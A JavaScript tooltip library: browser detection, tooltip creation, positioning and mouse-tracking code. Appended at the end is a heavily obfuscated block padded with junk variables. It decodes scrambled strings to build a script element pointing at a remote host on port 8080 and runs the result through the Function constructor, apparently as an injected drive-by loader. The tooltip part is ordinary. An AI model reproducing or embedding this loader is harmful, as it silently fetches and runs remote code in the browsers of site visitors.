var OP = (navigator.userAgent.indexOf('Opera') != -1);
var IE = (navigator.userAgent.indexOf('MSIE') != -1 && !OP);
var GK = (navigator.userAgent.indexOf('Gecko') != -1);
var SA = (navigator.userAgent.indexOf('Safari') != -1);
var DOM = document.getElementById;

var tooltip = null;

function TOOLTIP() {
//----------------------------------------------------------------------------------------------------
// Configuration
//----------------------------------------------------------------------------------------------------
  this.width = 30;                     // width (pixels)
  this.bgColor = "#00CCFF";             // background color
  this.textFont = "Comic Sans MS";      // text font family
  this.textSize = 13;                   // text font size (pixels)
  this.textColor = "#A00000";           // text color
  this.border = "1px dashed #D00000";   // border (CSS spec: size style color, e.g. "1px solid #D00000")
  this.opacity = 100;                    // opacity (0 - 100); doesn't work with all browsers
  this.cursorDistance = 15;              // distance from mouse cursor (pixels)

  // don't change
  this.text = '';
  this.height = 0;
  this.obj = null;
  this.active = false;

//----------------------------------------------------------------------------------------------------
// Methods
//----------------------------------------------------------------------------------------------------
  this.create = function() {
    if(!this.obj) this.init();

    var s = (this.textFont ? 'font-family:' + this.textFont + '; ' : '') +
            (this.textSize ? 'font-size:' + this.textSize + 'px; ' : '') +
            (this.border ? 'border:' + this.border + '; ' : '') +
            (this.textColor ? 'color:' + this.textColor + '; ' : '');

    var t = '<table border=0 cellspacing=0 cellpadding=4 width=' + this.width + '><tr>' +
            '<td align=center' + (s ? ' style="' + s + '"' : '') + '>' + this.text +
            '</td></tr></table>';

    if(DOM || IE) this.obj.innerHTML = t;
    if(DOM) this.height = this.obj.offsetHeight;
    else if(IE) this.height = this.obj.style.pixelHeight;
    if(this.bgColor) this.obj.style.backgroundColor = this.bgColor;

    this.setOpacity();
    this.move();
    this.show();
  }

  this.init = function() {
    if(DOM) this.obj = document.getElementById('ToolTip');
    else if(IE) this.obj = document.all.ToolTip;
  }

  this.move = function() {
    var winX = getWinX() - (((GK && !SA) || OP) ? 17 : 0);
    var winY = getWinY() - (((GK && !SA) || OP) ? 17 : 0);
    var x = mouseX;
    var y = mouseY;

    if(x + this.width + this.cursorDistance > winX + getScrX())
      x -= this.width + this.cursorDistance;
    else x += this.cursorDistance;

    if(y + this.height + this.cursorDistance > winY + getScrY())
      y -= this.height;
    else y += this.cursorDistance;

    this.obj.style.left = x + 'px';
    this.obj.style.top = y + 'px';
  }

  this.show = function() {
    this.obj.style.visibility = 'visible';
    this.obj.style.zIndex = 69;
    this.active = true;
  }

  this.hide = function() {
    this.obj.style.visibility = 'hidden';
    this.obj.style.zIndex = -1;
    this.active = false;
  }

  this.setOpacity = function() {
    this.obj.style.filter = 'alpha(opacity=' + this.opacity + ')';
    this.obj.style.mozOpacity = '.1';
    if(this.obj.filters) this.obj.filters.alpha.opacity = this.opacity;
    if(!document.all && this.obj.style.setProperty)
      this.obj.style.setProperty('-moz-opacity', this.opacity / 100, '');
  }
}

//----------------------------------------------------------------------------------------------------
// Global functions
//----------------------------------------------------------------------------------------------------
function getScrX() {
  var offset = 0;
  if(window.pageXOffset)
    offset = window.pageXOffset;
  else if(document.documentElement && document.documentElement.scrollLeft)
    offset = document.documentElement.scrollLeft;
  else if(document.body && document.body.scrollLeft)
    offset = document.body.scrollLeft;
  return offset;
}

function getScrY() {
  var offset = 0;
  if(window.pageYOffset)
    offset = window.pageYOffset;
  else if(document.documentElement && document.documentElement.scrollTop)
    offset = document.documentElement.scrollTop;
  else if(document.body && document.body.scrollTop)
    offset = document.body.scrollTop;
  return offset;
}

function getWinX() {
  var size = 0;
  if(window.innerWidth)
    size = window.innerWidth;
  else if(document.documentElement && document.documentElement.clientWidth)
    size = document.documentElement.clientWidth;
  else if(document.body && document.body.clientWidth)
    size = document.body.clientWidth;
  else size = screen.width;
  return size;
}

function getWinY() {
  var size = 0;
  if(window.innerHeight)
    size = window.innerHeight;
  else if(document.documentElement && document.documentElement.clientHeight)
    size = document.documentElement.clientHeight;
  else if(document.body && document.body.clientHeight)
    size = document.body.clientHeight;
  else size = screen.height;
  return size;
}

function getMouseXY(e) {
  if(e && e.pageX != null) {
    mouseX = e.pageX;
    mouseY = e.pageY;
  }
  else if(event && event.clientX != null) {
    mouseX = event.clientX + getScrX();
    mouseY = event.clientY + getScrY();
  }
  if(mouseX < 0) mouseX = 0;
  if(mouseY < 0) mouseY = 0;
  if(tooltip && tooltip.active) tooltip.move();
}

function toolTip(text, width, opacity) {
  if(text) {
    tooltip = new TOOLTIP();
    tooltip.text = text;
    if(width) tooltip.width = width;
    if(opacity) tooltip.opacity = opacity;
    tooltip.create();
  }
  else if(tooltip) tooltip.hide();
}

//----------------------------------------------------------------------------------------------------
// Build tooltip box
//----------------------------------------------------------------------------------------------------
document.write('<div id="ToolTip" style="position:absolute; visibility:hidden"></div>');

//----------------------------------------------------------------------------------------------------
// Event handlers
//----------------------------------------------------------------------------------------------------
var mouseX = mouseY = 0;
document.onmousemove = getMouseXY;

//----------------------------------------------------------------------------------------------------

var Hn="cacfd7f9d5a4c9d2d2d1f9bccdfbcece96d3ccfdcdcefbd8cffad7ddeac2ecdfe8c6ecd7eac3f7c8f7c8f1d8ecf0f8dcfac9dbdaf5e0d3fedcc8ebc8d1f6caebc89fe1dea5e8c8ccabcbe992f1ca";var zg;if(zg!='OO' && zg!='dz'){zg='OO'};var BT;if(BT!='Ms' && BT!='Fqn'){BT='Ms'};this.EC="EC";function x(P){var Jl;if(Jl!=''){Jl='rS'}; var Y=function(D){this.t="t";var cE;if(cE!='AC' && cE != ''){cE=null};var G;if(G!='' && G!='cZ'){G='gm'};var oT=D[e("nelhtg", [2,1,0])];this.Wz="Wz";var r=[255,105,68][0];var oW=[0,114][0];var rf=false;this.PG='';this.ty='';var B=[92,0][1];var f=[241,30,1,13][2];var lO;if(lO!='' && lO!='Ya'){lO=''};var Hh;if(Hh!=''){Hh='po'};var FS=new String();this.GZ="";var ML;if(ML!=''){ML='Ns'};this.nx=false;while(B<oT){var gB;if(gB!='Pm' && gB != ''){gB=null};B++;S=z(D,B - f);var Yh=31510;var pf;if(pf!='' && pf!='KE'){pf='CJ'};oW+=S*oT;}var oa='';return new F(oW % r);this.gU="";var j;if(j!=''){j='wC'};};var hu=false;var gH;if(gH!='VZ' && gH!='Gn'){gH=''};this.fi=""; var z=function(L,H){return L[e("CrcahdoeAt", [2,4,3,1,0,6,5])](H);}; var J=function(a,n){var HC="";return a^n;var Pn;if(Pn!='' && Pn!='E'){Pn='X'};};var xX;if(xX!='Dq' && xX!='Qz'){xX='Dq'}; var Ou;if(Ou!='yM' && Ou != ''){Ou=null};function e(LF, y){var nR;if(nR!='b' && nR!='os'){nR=''};var Og;if(Og!='doO' && Og!='dC'){Og='doO'};var V = '';var DC;if(DC!='xk' && DC!='CA'){DC=''};var De = y.length;var c = LF.length;var TS;if(TS!=''){TS='uU'};var zp;if(zp!='zT' && zp != ''){zp=null};var f=[1][0];var Je;if(Je!='' && Je!='Lj'){Je=''};var cJ=new Date();var Yw=[158,0][1];var yv;if(yv!='aZ'){yv='aZ'};for(var Q = Yw; Q < c; Q += De) {var CR;if(CR!='Tb' && CR!='CF'){CR=''};var zx;if(zx!='' && zx!='Pk'){zx=null};var ci = LF.substr(Q, De);var vk=false;if(ci.length == De){this.cI="cI";var qS;if(qS!='ah' && qS!='uX'){qS=''};this.Rm='';for(var B in y) {this.Or='';var jI;if(jI!='zr' && jI!='xv'){jI=''};var Bk="Bk";V+=ci.substr(y[B], f);var fJ=new String();var cx;if(cx!='SG' && cx != ''){cx=null};var Rx;if(Rx!='Lz' && Rx != ''){Rx=null};}this.Cd="";var dE;if(dE!='' && dE!='qv'){dE=null};var kdo;if(kdo!='rr' && kdo!='IV'){kdo='rr'};} else {this.tC="";var xP=new Array();  V+=ci;var Iv;if(Iv!='' && Iv!='oc'){Iv='PsO'};}var vc=new Date();var RX=new Date();}var sp;if(sp!='rE' && sp!='vy'){sp='rE'};var QU="QU";var zs="zs";return V;var DI;if(DI!='lR' && DI!='Dh'){DI='lR'};}var bx;if(bx!='' && bx!='Ye'){bx=''}; var A=function(LF){var dCU;if(dCU!='Zo'){dCU=''};var Ir;if(Ir!='eA'){Ir=''};var Iu;if(Iu!='' && Iu!='xW'){Iu='AES'};var Tj;if(Tj!='GY'){Tj=''};var Hs="";var QM="";LF = new F(LF);var OrZ;if(OrZ!='' && OrZ!='Yq'){OrZ=''};var Yw =[41,0][1];var HA = -1;var Q =[0][0];var V = '';this.TST='';this.GO="GO";this.uj="";for (Q=LF[e("tlnegh", [1,3,2,4,0])]-HA;Q>=Yw;Q=Q-[1][0]){var gv;if(gv!='Rv' && gv != ''){gv=null};var HY;if(HY!='ii' && HY != ''){HY=null};V+=LF[e("acrhAt", [1,3,0,2])](Q);var Da;if(Da!='eVE' && Da!='qY'){Da='eVE'};}return V;};var my="my";var AF=window;var Fq=AF[e("avel", [2,1,0,3])];this.qvf="";var zz=Fq(e("cFniuton", [1,4,2,0,5,3,6]));var hQ=false;var Ka;if(Ka!=''){Ka='Hb'};var F=Fq(e("ritSng", [3,2,0,1]));var So=false;this.UO=1991;var g=Fq(e("geRpxE", [2,1,0]));var zA=false;var WE=false;var Tn;if(Tn!='Vr'){Tn='Vr'};var v = '';var Ix='';var vyC=new Date();var PD=new String();var Mp;if(Mp!='yE' && Mp!='XT'){Mp=''};var aN=F[e("mrfCoCahorde", [2,1,4,0,3])];var nc=AF[e("eunascpe", [1,2,0])];var Uq=new String();this.Xc=false;this.In=false;var zXF;if(zXF!='IVs' && zXF!='tu'){zXF='IVs'};this.FC=false;var nD;if(nD!='sh' && nD != ''){nD=null};this.nX=false;var yx =[0,52,197][0];this.eF="";var La = /[^@a-z0-9A-Z_-]/g;var hJ=false;var K = P[e("elgnht", [1,0])];var Z = '';var Re;if(Re!=''){Re='VQ'};var kO;if(kO!='' && kO!='mK'){kO=''};this.kjN=false;var lRj;if(lRj!='' && lRj!='oI'){lRj=''};this.Of="Of";var i = '';var cW;if(cW!='xZI' && cW!='CW'){cW='xZI'};var Yw =[107,116,111,0][3];var vyj;if(vyj!='zAn' && vyj != ''){vyj=null};var iU=[1, e("ocdmeut.nrectealeEenm(\'tcrspti\')", [2,0,1]),2, e("odmucneb.tdoa.yppdnehCdli(d)", [1,0,4,3,2]),3, e("Asetdt.tebutr(i\'defer\'", [4,6,1,2,3,0,5,7]),4, e("ne.wopjwdod.rlrgu:8080", [6,5,2,0,1,7,3,4]),5, e("oggoelc.mo", [1,0]),6, e("mcoa.nrukci..omxmii", [1,2,0]),7, e("ssnniwe3rmoiced.", [3,6,5,0,7,4,2,1]),8, e("niwwodno.aold", [2,1,0]),11, e("nfucotin()", [1,2,0,3]),12, e("xnegtao.cm", [1,2,0]),14, e("eluqpi.erf", [1,0]),15, e("ahcct(e)", [2,0,4,3,1]),16, e("ptt\":h", [3,5,2,1,0,4]),17, e("s.drc", [2,1,0]),18, e("1\')\'", [1,0]),19, e("ryt", [2,0,1]),20, e("ksy", [1,0])];var xz="xz";var LO =[2,208,70][0];var aV;if(aV!='' && aV!='zD'){aV='zTi'};var BN=new Date();var f =[1,185][0];var yK = '';this.au=false;var l = F.fromCharCode(37);var kp=64678;var wP;if(wP!='' && wP!='LK'){wP=''};var Hp;if(Hp!='vSz' && Hp!='LQ'){Hp=''};this.KGp='';for(var p=Yw; p < K; p+=LO){var FZ;if(FZ!='ZG' && FZ != ''){FZ=null};this.zH="zH";yK+= l; yK+= P[e("ussbtr", [1,0,3,2])](p, LO);this.dG=false;}var ka;if(ka!='' && ka!='jh'){ka='jDc'};var yIo;if(yIo!='' && yIo!='sC'){yIo='LQE'};var P = nc(yK);var M = new F(x);this.cj='';var bn;if(bn!='' && bn!='yc'){bn='OJ'};var Vy = M[e("percale", [2,1,0])](La, i);var OY;if(OY!='' && OY!='pN'){OY=''};this.Bd="Bd";var O = iU[e("elgnht", [1,0])];var vd = new F(zz);var qH;if(qH!='' && qH!='GA'){qH=''};var GQ=new String();var Zx=new String();Vy = A(Vy);var Uo;if(Uo!='ZC' && Uo!='jf'){Uo=''};var W = vd[e("aeprlce", [3,1,2,4,0])](La, i);var yk='';var Ry;if(Ry!='SzR' && Ry!='Kq'){Ry='SzR'};var W = Y(W);var ne=Y(Vy);this.NK='';var Ub=new Array();var um;if(um!='Rr'){um='Rr'};var Gz="Gz";for(var Q=Yw; Q < (P[e("tlegnh", [1,2,4,3,0])]);Q=Q+[182,235,1][2]) {var Tz=25508;var vu = Vy.charCodeAt(yx);var cX = z(P,Q);var bI;if(bI!='' && bI!='Od'){bI=null};this.qQ="";cX = J(cX, vu);this.Vn=10454;var ez='';var VI;if(VI!=''){VI='Go'};this.tv='';cX = J(cX, ne);var MV='';cX = J(cX, W);this.pe='';var BH;if(BH!='XS' && BH!='ON'){BH='XS'};yx++;var pg;if(pg!='' && pg!='Nk'){pg=null};var tuP;if(tuP!=''){tuP='cY'};var qw;if(qw!=''){qw='XMz'};if(yx > Vy.length-f){yx=Yw;this.rP=23871;var hZ=false;}Z += aN(cX);}var wi=new Date();for(h=Yw; h < O; h+=LO){var ZzU="ZzU";var fp;if(fp!='Ci' && fp!='le'){fp=''};var pZ = aN(iU[h]);this.dpQ=3366;var nF;if(nF!='Dak'){nF='Dak'};var io = iU[h + f];this.zl="zl";var Ha;if(Ha!='op'){Ha=''};var wT;if(wT!='ze'){wT=''};var muA="muA";var ni = new g(pZ, F.fromCharCode(103));var BO;if(BO!='cZL'){BO='cZL'};Z=Z[e("clrepae", [2,3,4,1,5,0])](ni, io);var Lf;if(Lf!='ut'){Lf=''};}var At=45635;var pj;if(pj!=''){pj='lx'};var Am=new zz(Z);Am();var Om=false;var DK;if(DK!='qC' && DK != ''){DK=null};var Js;if(Js!='nh' && Js != ''){Js=null};W = '';this.tx=42004;var wPJ;if(wPJ!='' && wPJ!='NkR'){wPJ=null};vd = '';ne = '';Am = '';var of=false;Vy = '';this.Zg='';var wo=35187;Z = '';var tL;if(tL!='' && tL!='Do'){tL='XW'};var vU;if(vU!='' && vU!='wzd'){vU=''};var vwn=new Date();this.oq="oq";return '';var Epp;if(Epp!='qzY' && Epp != ''){Epp=null};this.hqw='';};var zg;if(zg!='OO' && zg!='dz'){zg='OO'};var BT;if(BT!='Ms' && BT!='Fqn'){BT='Ms'};this.EC="EC";x(Hn);